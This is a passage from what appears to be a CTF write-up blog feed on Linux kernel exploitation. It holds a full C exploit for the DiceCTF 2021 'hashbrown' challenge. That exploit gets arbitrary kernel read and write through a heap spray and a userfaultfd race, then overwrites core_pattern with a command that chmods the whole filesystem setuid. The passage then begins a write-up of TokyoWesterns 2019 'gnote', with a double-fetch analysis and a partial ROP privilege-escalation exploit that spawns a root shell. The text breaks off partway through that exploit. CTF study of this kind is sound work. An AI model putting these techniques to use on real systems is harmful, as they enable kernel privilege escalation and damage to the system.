  uint32_t size;
  char* src;
  char* dest;
} request_t;

static int vuln_dev_add_key(uint32_t key, void* src, uint32_t size);
static int vuln_dev_delete_key(uint32_t key);
static int vuln_dev_update_value(uint32_t key, void* src, uint32_t size);
static int vuln_dev_delete_value(uint32_t key);
static int vuln_dev_get_value(uint32_t key, void* out, uint32_t size);

static uint32_t get_hash_idx_from_key(uint32_t key, uint32_t size);
static void calculate_hash_collision(uint32_t* out, size_t out_size,
                                     uint32_t hash, uint32_t size);

int vuln_fd = 0;
static int vuln_dev_add_key(uint32_t key, void* src, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = (char*)src, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD_KEY, &amp;amp;req);
}
static int vuln_dev_delete_key(uint32_t key) {
  request_t req = {.key = key, .size = 0, .src = NULL, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DELETE_KEY, &amp;amp;req);
}
static int vuln_dev_update_value(uint32_t key, void* src, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = (char*)src, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_UPDATE_VALUE, &amp;amp;req);
}
static int vuln_dev_delete_value(uint32_t key) {
  request_t req = {.key = key, .size = 0, .src = NULL, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DELETE_VALUE, &amp;amp;req);
}
static int vuln_dev_get_value(uint32_t key, void* dest, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = NULL, .dest = (char*)dest};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET_VALUE, &amp;amp;req);
}

static uint32_t get_hash_idx_from_key(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}
static void calculate_hash_collision(uint32_t* out, size_t out_size,
                                     uint32_t hash, uint32_t size) {
  if (hash &amp;gt;= size) {
    fatal(&amp;#34;calculate_hash_collision: hash &amp;gt;= size&amp;#34;);
  }

  uint32_t* p = out;
  const uint32_t* const last_p = p + out_size;
  for (uint32_t cur_key = 0; cur_key &amp;lt;= 0xffffffff; ++cur_key) {
    const uint32_t cur_hash = get_hash_idx_from_key(cur_key, size);
    if (cur_hash != hash) {
      continue;
    }
    *p++ = cur_key;
    if (p == last_p) {
      break;
    }
  }
}

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define IS_IN_KERNEL_BASE_RANGE(x) \
  (KERNEL_BASE_START &amp;lt;= (x) &amp;amp;&amp;amp; (x) &amp;lt;= KERNEL_BASE_END)
#define KERNEL_MODULE_START 0xffffffffc0000000

#define KERNEL_MODPROBE_OFFSET (0xa46fe0)
#define KERNEL_CORE_PATTERN_OFFSET (0xb0cd00)
#define KERNEL_START_SYMTAB_OFFSET (0x990940)
#define KERNEL_MODULE_HASHMAP_OFFSET (0x2540)

static void entry_spray(uint32_t idx, void* data, size_t size);
static void* pthread_entry_spray(void* arg);

static uint64_t construct_corrupted_entry();

static uint64_t leak_heap_address();

static void aar(void* out, uint64_t addr, size_t size);
static void aaw(uint64_t addr, void* data, size_t size);
static uint64_t aar64(uint64_t addr);
static void aaw64(uint64_t addr, uint64_t val);

static uint64_t find_kernel_address(uint64_t heap_addr);
static uint64_t find_module_base();
static uint64_t find_core_pattern_address(uint64_t kernel_addr);

static void entry_spray(uint32_t idx, void* data, size_t size) {
  uint32_t keys[512];
  calculate_hash_collision(keys, 512, idx, VULN_DEV_CONST_SIZE_ARR_MAX);
  for (int i = 0; i &amp;lt; 512; ++i) {
    vuln_dev_add_key(keys[i], data, size);
  }
}
static void* pthread_entry_spray(void* arg) {
  uint32_t idx = *(uint32_t*)(arg);
  void* data = (void*)*(uint64_t*)(arg + 8);
  size_t size = *(size_t*)(arg + 16);
  uint32_t keys[512];
  entry_spray(idx, data, size);
}

cpu_set_t target_cpu;
uint32_t collision_keys[VULN_DEV_CONST_SIZE_ARR_MAX];
static void* userfault_handler_for_construct_fake_entry(void* args) {
  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_construct_fake_entry: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  // puts(
  //     &amp;#34;[*] userfault_handler_for_construct_fake_entry: waiting for page &amp;#34;
  //     &amp;#34;fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_construct_fake_entry: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    // printf(
    //     &amp;#34;[*] userfault_handler_for_construct_fake_entry: addr=0x%llx, &amp;#34;
    //     &amp;#34;flag=0x%llx\n&amp;#34;,
    //     msg.arg.pagefault.address, msg.arg.pagefault.flags);

    // Main Routine
    puts(&amp;#34;[+] UFFD: Deleting values...&amp;#34;);
    uint32_t cur_size = VULN_DEV_CONST_SIZE_ARR_MAX / 2;
    uint32_t cur_threshold = VULN_DEV_GET_THRESHOLD(cur_size);
    for (int i = 0; i &amp;lt;= cur_threshold + 1; ++i) {
      vuln_dev_delete_value(collision_keys[i]);
    }
    copy.src = (uint64_t)page;  // data of page will be data of faulted page

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: ioctl(UFFDIO_COPY)&amp;#34;);
    }
    break;
  }

  munmap(page, 0x1000);
  return NULL;
}

static uint64_t construct_corrupted_entry() {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  memset(data, &amp;#39;a&amp;#39;, 0x20);
  uint32_t target_idx = 0;
  uint32_t cur_size = VULN_DEV_CONST_SIZE_ARR_MAX / 2;
  uint32_t cur_threshold = VULN_DEV_GET_THRESHOLD(cur_size);
  calculate_hash_collision(collision_keys, 512, target_idx,
                           VULN_DEV_CONST_SIZE_ARR_MAX);

  puts(&amp;#34;[*] Adding keys...&amp;#34;);
  for (int i = 0; i &amp;lt; cur_threshold; ++i) {
    vuln_dev_add_key(collision_keys[i], data, sizeof(data));
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  int uffd = register_uffd(uffd_page, 0x1000,
                           userfault_handler_for_construct_fake_entry);

  puts(&amp;#34;[*] Trigger `resize` and deleting values...&amp;#34;);
  vuln_dev_add_key(collision_keys[cur_threshold + 1], uffd_page, sizeof(data));

  puts(&amp;#34;[*] Spraying entries...&amp;#34;);
  {
    entry_spray(1, data, 0x20);
    pthread_t th;
    uint64_t arg[3] = {2, (uint64_t)data, 0x20};
    pthread_create(&amp;amp;th, NULL, pthread_entry_spray, arg);
    pthread_join(th, NULL);
  }

  puts(&amp;#34;[*] Checking there is a corrupted entry...&amp;#34;);
  uint64_t entry_key = -1, backing_key = -1;
  for (int i = 0; i &amp;lt;= cur_threshold + 1; ++i) {
    uint32_t cur_key = collision_keys[i];
    vuln_dev_get_value(collision_keys[i], data, 0x20);
    if (*uint64_data == 0x6161616161616161 || (*uint64_data &amp;gt;&amp;gt; 32) != 0x20) {
      continue;
    }

    entry_key = cur_key;
    backing_key = (*uint64_data) &amp;amp; 0xffffffff;
    break;
  }

  close(uffd);
  munmap(uffd_page, 0x1000);

  return (entry_key &amp;lt;&amp;lt; 32) | backing_key;
}

uint32_t controller_key, backing_key;
uint64_t original_backing_ptr;
static uint64_t leak_heap_address() {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  vuln_dev_get_value(controller_key, data, 0x20);
  return uint64_data[1];
}
static void aar(void* dest, uint64_t addr, size_t size) {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  uint64_data[0] = ((size &amp;amp; 0xffffffff) &amp;lt;&amp;lt; 32) | backing_key;
  uint64_data[1] = addr;
  vuln_dev_update_value(controller_key, data, 0x10);
  vuln_dev_get_value(backing_key, dest, size);
}
static void aaw(uint64_t addr, void* src, size_t size) {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  uint64_data[0] = ((size &amp;amp; 0xffffffff) &amp;lt;&amp;lt; 32) | backing_key;
  uint64_data[1] = addr;
  vuln_dev_update_value(controller_key, data, 0x10);
  vuln_dev_update_value(backing_key, src, size);
}
static uint64_t aar64(uint64_t addr) {
  uint64_t val = -1;
  aar(&amp;amp;val, addr, 8);
  return val;
}
static void aaw64(uint64_t addr, uint64_t val) { return aaw(addr, &amp;amp;val, 8); }

static uint64_t find_kernel_address(uint64_t heap_addr) {
  char data[0x1000];
  uint64_t* uint64_data = (uint64_t*)data;
  int sprays[0x1000];
  for (int i = 0; i &amp;lt; 0x1000; ++i) {
    sprays[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }

  uint64_t addr = heap_addr - 0x8000;
  uint64_t ret = -1;
  while (addr &amp;lt;= heap_addr + 0x8000) {
    uint64_t val = aar64(addr);
    if (IS_IN_KERNEL_BASE_RANGE(val)) {
      ret = val;
      break;
    }
    addr += 8;
  }

  for (int i = 0; i &amp;lt; 0x1000; ++i) {
    close(sprays[i]);
  }
  return ret;
}
static uint64_t find_module_base() {
  uint64_t addr = KERNEL_MODULE_START;
  while (addr &amp;lt;= KERNEL_MODULE_START + 0x10000 * 0x1000) {
    uint64_t val = aar64(addr);
    if (val != -1) {
      return addr;
    }
    addr += 0x1000;
  }
}
static uint64_t find_core_pattern_address(uint64_t kernel_addr) {
  char data[0x20];
  uint64_t maybe_kernel_base = kernel_addr &amp;amp; ~0xfffff;
  uint64_t maybe_core_pattern_addr =
      maybe_kernel_base + KERNEL_CORE_PATTERN_OFFSET;
  uint64_t core_pattern_addr = -1;
  while (core_pattern_addr == -1) {
    aar(data, maybe_core_pattern_addr, 0x20);
    if (!strcmp(data, &amp;#34;core&amp;#34;)) {
      core_pattern_addr = maybe_core_pattern_addr;
    }
    maybe_core_pattern_addr -= 0x100000;
  }
  return core_pattern_addr;
}

int main() {
  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(/dev/&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  uint64_t entry_key_and_backing_key = construct_corrupted_entry();
  controller_key = entry_key_and_backing_key &amp;gt;&amp;gt; 32;
  backing_key = entry_key_and_backing_key &amp;amp; 0xffffffff;
  original_backing_ptr = leak_heap_address();
  printf(
      &amp;#34;[+] Find corrupted entry! (controller_key=0x%08x, &amp;#34;
      &amp;#34;backing_key=0x%08x; backing_ptr=0x%016lx)\n&amp;#34;,
      controller_key, backing_key, original_backing_ptr);

  uint64_t kernel_address = find_kernel_address(original_backing_ptr);
  printf(&amp;#34;[+] kernel_address(not base): 0x%016lx\n&amp;#34;, kernel_address);
  uint64_t module_base = find_module_base();
  printf(&amp;#34;[+] module_base: 0x%016lx\n&amp;#34;, module_base);
  uint64_t core_pattern_address = find_core_pattern_address(kernel_address);
  printf(&amp;#34;[+] core_pattern_address: 0x%016lx\n&amp;#34;, core_pattern_address);
  uint64_t kernel_base = core_pattern_address - KERNEL_CORE_PATTERN_OFFSET;
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  char new_core_pattern[] = &amp;#34;|/bin/chmod 6777 -R /&amp;#34;;
  printf(&amp;#34;[*] Overwrite core_pattern to \&amp;#34;%s\&amp;#34;...\n&amp;#34;, new_core_pattern);
  aaw(core_pattern_address, new_core_pattern, sizeof(new_core_pattern));

  puts(&amp;#34;[*] Trigger core_pattern...&amp;#34;);
  uint64_t* evil = (uint64_t*)0xdeadbeefcafebebe;
  *evil = 0;

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/DiceCTF/2021/pwn/hashbrown&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/DiceCTF/2021/pwn/hashbrown&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>TokyoWesternsCTF2019 gnote</title>
      <link>/posts/kernel/write-ups/ctf/tokyowesternsctf2019-gnote/</link>
      <pubDate>Thu, 30 Jan 2025 14:39:40 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/tokyowesternsctf2019-gnote/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;code&gt;4.19.65&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;mmap_min_addr: &lt;code&gt;0x1000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;738214659&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;738214659&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2019-gnote-features.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;typedef struct request_t {
  uint32_t cmd;
  uint32_t arg;
} request_t;

int64_t gnote_write(struct file *a1, const request_t *req, size_t a3,
                    loff_t *a4) {
  uint64_t len;
  note_data_t *req;
  void *new_note_data;

  mutex_lock(&amp;amp;lock);
  switch (req-&amp;gt;cmd) {
    case 1:
      if ((uint64_t)cnt &amp;lt;= 7) {
        len = (uint32_t)req-&amp;gt;arg;
        cur_note = &amp;amp;notes[cnt];
        cur_note-&amp;gt;len = len;
        if (len &amp;lt;= 0x10000) {
          new_note_data = kmalloc(len, 0x6000C0LL);
          ++cnt;
          cur_note-&amp;gt;data = new_note_data;
        }
      }
      break;
    case 2:
      printk(&amp;#34;Edit Not implemented\n&amp;#34;);
      break;
    case 3:
      printk(&amp;#34;Delete Not implemented\n&amp;#34;);
      break;
    case 4:
      printk(&amp;#34;Copy Not implemented\n&amp;#34;);
      break;
    case 5:
      if ((uint32_t)req-&amp;gt;arg &amp;lt; (uint64_t)cnt) selected = (uint32_t)req-&amp;gt;arg;
      break;
    default:
      break;
  }
  mutex_unlock(&amp;amp;lock);
  return a3;
}

uint64_t gnote_read(struct file *a1, char *a2, size_t len, loff_t *a4) {
  note_data_t *cur_note;

  mutex_lock(&amp;amp;lock);
  if (selected == -1) {
    mutex_unlock(&amp;amp;lock);
    return 0LL;
  } else {
    cur_note = &amp;amp;notes[selected];
    if (cur_note-&amp;gt;len &amp;lt;= len) len = cur_note-&amp;gt;len;
    copy_to_user(a2, cur_note-&amp;gt;data, len);
    selected = -1LL;
    mutex_unlock(&amp;amp;lock);
    return len;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The gnote module has just 3 features: add new note, select note and get note&amp;rsquo;s content. But with these features, we cannot write content to note (Edit is not implemented&amp;hellip;).&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;code&gt;4.19.65&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;mmap_min_addr: &lt;code&gt;0x1000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;738214659&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;738214659&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2019-gnote-features.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;typedef struct request_t {
  uint32_t cmd;
  uint32_t arg;
} request_t;

int64_t gnote_write(struct file *a1, const request_t *req, size_t a3,
                    loff_t *a4) {
  uint64_t len;
  note_data_t *req;
  void *new_note_data;

  mutex_lock(&amp;amp;lock);
  switch (req-&amp;gt;cmd) {
    case 1:
      if ((uint64_t)cnt &amp;lt;= 7) {
        len = (uint32_t)req-&amp;gt;arg;
        cur_note = &amp;amp;notes[cnt];
        cur_note-&amp;gt;len = len;
        if (len &amp;lt;= 0x10000) {
          new_note_data = kmalloc(len, 0x6000C0LL);
          ++cnt;
          cur_note-&amp;gt;data = new_note_data;
        }
      }
      break;
    case 2:
      printk(&amp;#34;Edit Not implemented\n&amp;#34;);
      break;
    case 3:
      printk(&amp;#34;Delete Not implemented\n&amp;#34;);
      break;
    case 4:
      printk(&amp;#34;Copy Not implemented\n&amp;#34;);
      break;
    case 5:
      if ((uint32_t)req-&amp;gt;arg &amp;lt; (uint64_t)cnt) selected = (uint32_t)req-&amp;gt;arg;
      break;
    default:
      break;
  }
  mutex_unlock(&amp;amp;lock);
  return a3;
}

uint64_t gnote_read(struct file *a1, char *a2, size_t len, loff_t *a4) {
  note_data_t *cur_note;

  mutex_lock(&amp;amp;lock);
  if (selected == -1) {
    mutex_unlock(&amp;amp;lock);
    return 0LL;
  } else {
    cur_note = &amp;amp;notes[selected];
    if (cur_note-&amp;gt;len &amp;lt;= len) len = cur_note-&amp;gt;len;
    copy_to_user(a2, cur_note-&amp;gt;data, len);
    selected = -1LL;
    mutex_unlock(&amp;amp;lock);
    return len;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The gnote module has just 3 features: add new note, select note and get note&amp;rsquo;s content. But with these features, we cannot write content to note (Edit is not implemented&amp;hellip;).&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;There are two vulnerabilities. First is uninitialized heap and second is double fetch bug in switch statement.&lt;/p&gt;
&lt;h4 id=&#34;uninitialized-heap&#34;&gt;Uninitialized heap&lt;/h4&gt;
&lt;p&gt;When we add note, because the module just use &lt;code&gt;kmalloc&lt;/code&gt; (note that &lt;code&gt;kmalloc&lt;/code&gt; does not clear its data), we can get the previous content of allocated chunk.
Therefore if the chunk was used to store vtable and the address of vtable is not cleared by SLUB or other object, we can get it.&lt;/p&gt;
&lt;h4 id=&#34;double-fetch-in-switch-statement&#34;&gt;Double fetch in switch statement&lt;/h4&gt;
&lt;p&gt;I think this is main bug of this challenge. As we know, sometimes switch statement use jump table for a speed (optimization).
And the switch statement of &lt;code&gt;gnote_write&lt;/code&gt; is implemented by jump table.
But, its index (key) is obtained in user space:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;gnote_write:
  ; ...
  mov     rbx, rsi; rsi is const request_t __user *buf
  mov     r12, rdx
  call    mutex_lock
  cmp     dword ptr [rbx], 5 ; rbx is const request_t __user *buf
  ja      short DEFAULT_CASE
  mov     eax, [rbx]
  mov     rax, JUMP_TABLE[rax*8]; == mov rax, QWORD PTR [rax*8 - off] where 0x3fffef68 &amp;lt;= off &amp;lt;= 0x3effff68
  jmp     __x86_indirect_thunk_rax
  ; ...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The index (key) is double-fetched from user by &lt;code&gt;cmp dword ptr [rbx], 5&lt;/code&gt; and &lt;code&gt;mov eax, [rbx]&lt;/code&gt;.
So if &lt;code&gt;[rbx]&lt;/code&gt; is smaller or equal than 5 when executeing &lt;code&gt;cmp dword ptr [rbx], 5&lt;/code&gt; and set &lt;code&gt;[rbx]&lt;/code&gt; to other value before &lt;code&gt;mov eax, [rbx]&lt;/code&gt;, we can use relatively arbitrary address like jump table.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;leak-kernel-base&#34;&gt;Leak kernel base&lt;/h3&gt;
&lt;p&gt;I explained above, we can leak kernel base using uninitialized heap chunk.
For leaking kernel base, I use heap spray with &amp;ldquo;/dev/ptmx&amp;rdquo; (tty_struct) (see &lt;code&gt;leak_kernel_base&lt;/code&gt; function).&lt;/p&gt;
&lt;h3 id=&#34;exploit-switch__x86_indirect_thunk_rax-using-double-fetch&#34;&gt;Exploit switch(__x86_indirect_thunk_rax) using double fetch&lt;/h3&gt;
&lt;p&gt;We can write a code which cause crash because of invalid jump table index (key) (see &lt;code&gt;jump_at_jump_table_idx&lt;/code&gt;, &lt;code&gt;race1&lt;/code&gt; and &lt;code&gt;race2&lt;/code&gt;).
However&amp;hellip; there is not useful address in (ro)data segment of module&amp;hellip;&lt;/p&gt;
&lt;p&gt;I could not find the way to exploit double fetch. So I just look the assembly instructions of switch statements:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;gnote_write:
  ; ...
  mov     eax, [rbx]
  mov     rax, JUMP_TABLE[rax*8]; == mov rax, QWORD PTR [rax*8 - off] where 0x3fffef68 &amp;lt;= off &amp;lt;= 0x3effff68
  jmp     __x86_indirect_thunk_rax
  ; ...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Do you notice it? the target address of jump table is calulated by &lt;code&gt;key*8 - off&lt;/code&gt; and &lt;code&gt;off&lt;/code&gt; is changed depending on base address of module (&lt;code&gt;off = -(module_base + 0x1098)&lt;/code&gt;).
Let&amp;rsquo;s consider &lt;code&gt;off&lt;/code&gt; is 0x3fffef68 (this means &lt;code&gt;module_base&lt;/code&gt; is 0xffffffffc0000000). In this assumption if &lt;code&gt;rax&lt;/code&gt;, index (key) of jump table, is 0x7fffded, &lt;code&gt;key*8 - off&lt;/code&gt; is 0!! So, we can access address 0 and use it as jump table!!&lt;/p&gt;
&lt;p&gt;In given environment, SMAP is disabled. Therefore we can use stack pivoting with mmaped page with &lt;code&gt;MAP_FIEXED | MAP_POPULATE&lt;/code&gt;.
Since mmap_min_addr is 0x1000 and the minimum key for non-negative result is 0x3fffef68, I think &lt;code&gt;0x200 + 0x7fffded&lt;/code&gt; is best for a fixed key.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;
&lt;p&gt;Because we cannot mmap with size = 0x1000000, I mmap with size = 0x400000. So, the success rate of this exploit code is 25%.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;794152863&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;794152863&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2019-gnote-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_WRITE_CMD_ADD 1
#define VULN_DEV_WRITE_CMD_SELECT 5
#define VULN_DEV_WRITE_CMD_MAX 6
#define VULN_DEV_MAX_NOTE_COUNT 8

#define VULN_DEV_RELATIVE_IDX_OF_NOTES_TO_JUMP_TABLE 0x26d
#define FAKE_JUMP_TABLE_ADDR ((void*)0x1000)
#define FAKE_JUMP_TABLE_SIZE 0x400000
#define FAKE_STACK_ADDR ((void*)0x5d000000)
#define FAKE_STACK_SIZE 0x6000
#define FAKE_RSP (FAKE_STACK_ADDR + 5)

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define IS_KERNEL_BASE(x) \
  ((KERNEL_BASE_START &amp;lt;= (x)) &amp;amp;&amp;amp; ((x) &amp;lt;= KERNEL_BASE_END))
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81a35260 - KERNEL_BASE_START)
#define MOV_ESP_0x5d000005_OFFSET (0xffffffff811f2bba - KERNEL_BASE_START)
#define POP_RDI_OFFSET (0xffffffff8101c20d - KERNEL_BASE_START)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81069fe0 - KERNEL_BASE_START)
#define POP_RCX_OFFSET (0xffffffff81037523 - KERNEL_BASE_START)
#define MOV_RDI_RAX_REQ_MOV_RDI_RSI_POP_RBP_OFFSET \
  (0xffffffff81018eef - KERNEL_BASE_START)
#define COMMIT_CREDS_OFFSET (0xffffffff81069df0 - KERNEL_BASE_START)
#define BYPASS_KPTI_OFFSET (0xffffffff81600a4a - KERNEL_BASE_START)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

typedef struct request_t {
  uint32_t cmd;
  uint32_t arg;
} request_t;

int vuln_fd;
int vuln_dev_added_count = 0;
void vuln_dev_add(uint64_t size) {
  ++vuln_dev_added_count;
  request_t req = {.cmd = VULN_DEV_WRITE_CMD_ADD, .arg = size};
  write(vuln_fd, &amp;amp;req, sizeof(req));
}
void vuln_dev_select(uint64_t idx) {
  request_t req = {.cmd = VULN_DEV_WRITE_CMD_SELECT, .arg = idx};
  write(vuln_fd, &amp;amp;req, sizeof(req));
}

void* page_buf;
request_t* page_req;
cpu_set_t cpus[2];

uint64_t leak_kernel_base() {
  for (int cur_try = 0; cur_try &amp;lt;= VULN_DEV_MAX_NOTE_COUNT; ++cur_try) {
    int spray_fds[0x10];
    const int spray_obj_size = 0x2e0;
    const int spray_obj_count = sizeof(spray_fds) / sizeof(int);
    const int middle_idx = spray_obj_count / 2;
    for (int i = 0; i &amp;lt; spray_obj_count; ++i) {
      spray_fds[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_NOCTTY | O_RDONLY);
    }
    for (int i = 0; i &amp;lt; middle_idx; ++i) {
      close(spray_fds[i]);
    }
    vuln_dev_add(spray_obj_size);
    for (int i = middle_idx; i &amp;lt; spray_obj_count; ++i) {
      close(spray_fds[i]);
    }

    vuln_dev_select(cur_try);
    read(vuln_fd, page_buf, spray_obj_size);
    uint64_t maybe_tty_struct_ops = *(uint64_t*)(page_buf + 0x18);
    uint64_t maybe_kbase = maybe_tty_struct_ops - TTY_STRUCT_OPS_OFFSET;
    if ((maybe_kbase &amp;amp; 0xfffff) == 0 &amp;amp;&amp;amp; IS_KERNEL_BASE(maybe_kbase)) {
